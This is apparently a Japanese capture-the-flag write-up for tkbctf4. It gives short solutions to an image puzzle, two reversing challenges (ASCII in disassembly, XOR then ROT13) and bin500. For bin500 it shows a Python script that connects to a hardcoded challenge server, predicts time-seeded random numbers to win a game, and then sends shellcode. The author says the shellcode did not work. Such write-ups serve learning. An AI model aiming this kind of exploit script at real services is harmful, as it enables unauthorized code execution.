tkbctf4 writeup

  • 画像のやつ

72900 = 270^2なので適当に調整

import PIL.Image

im = PIL.Image.open("monochrome_bar.png")
out = PIL.Image.new("RGB", (270, 270))

for i in range(270):
    for j in range(270):
        c = im.getpixel((i*270+j, 0))
        out.putpixel((j, i), (c, c, c))
        
out.save("out.png")


  • bin100

テキトーにやったら解けた。ほとんどエスパー。

   0x00000000004005d2 <+18>:	mov    DWORD PTR [rsp+0x3f0],0x6b
   0x00000000004005dd <+29>:	mov    DWORD PTR [rsp+0x3f4],0x6b
   0x00000000004005e8 <+40>:	mov    rbp,rsp
   0x00000000004005eb <+43>:	mov    DWORD PTR [rsp+0x3f8],0x6a
   0x00000000004005f6 <+54>:	mov    DWORD PTR [rsp+0x3fc],0x6a
   0x0000000000400601 <+65>:	mov    QWORD PTR [rsp+0x420],rax
   0x0000000000400609 <+73>:	movzx  eax,WORD PTR [rip+0x340]        # 0x400950 <__dso_handle+48>
   0x0000000000400610 <+80>:	mov    DWORD PTR [rsp+0x400],0x68
   0x000000000040061b <+91>:	mov    DWORD PTR [rsp+0x404],0x6c
   0x0000000000400626 <+102>:	mov    DWORD PTR [rsp+0x408],0x68
   0x0000000000400631 <+113>:	mov    DWORD PTR [rsp+0x40c],0x6c
   0x000000000040063c <+124>:	mov    DWORD PTR [rsp+0x410],0x62
   0x0000000000400647 <+135>:	mov    DWORD PTR [rsp+0x414],0x61

と明らかにASCIIを積んでるので文字列にする。
コピペしたら遅いと怒られたので

echo "hoge" | ./bin100

とすると良い。

  • bin200

簡単な割にメチャクチャ時間がかかった。

dats = [[0xc2, 0xc8, 0xdf, 0xc5, 0xea, 0xc3, 0xf0],
        [0xe5, 0xf0, 0xfe, 0xe0, 0xe3, 0xc8, 0xfe],
        [0xc0, 0xe5, 0xf6, 0xf5, 0xf4, 0xd0, 0xf6],
        [0xf6, 0xfb, 0xed, 0xe6, 0xee, 0xab, 0xe9]]

for i, v in enumerate(dats):
    x = 0x90 + i + 1
    print "".join([chr(d^x) for d in v])

出力された文字をROT13に掛ける

  • bin500

srand(time)系。じゃんけんに必勝出来る所で時間切れ。shellcodeが上手く動いてくれなかった。
乱数を吐くだけのプログラムをCで作り、Pythonで受け取ってやると良い。

python bin500.py $(date +%s)
import subprocess
import sys
import socket

def func(ecx):
    edx = (ecx * 0x55555556) / 0x100000000
    eax = (ecx * 0x55555556) % 0x100000000
    
    eax = ecx
    eax >>= 0x1F
    edx -= eax
    eax = edx*3
    ecx -= eax
    return ecx

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("203.178.132.117", 3939))

p = subprocess.Popen(['./time', sys.argv[1]],
                    stdout=subprocess.PIPE,
                     )

for i, rand in enumerate(map(int, p.stdout.readlines())):
    print i
    if i == 7:
        break
    
    print s.recv(1024)
    s.sendall("%d\n" % ((func(rand)+1)%3))
    
s.sendall(open("shellcode", "rb").read())

while 1:
    content = s.recv(1024)
    if content:
        print content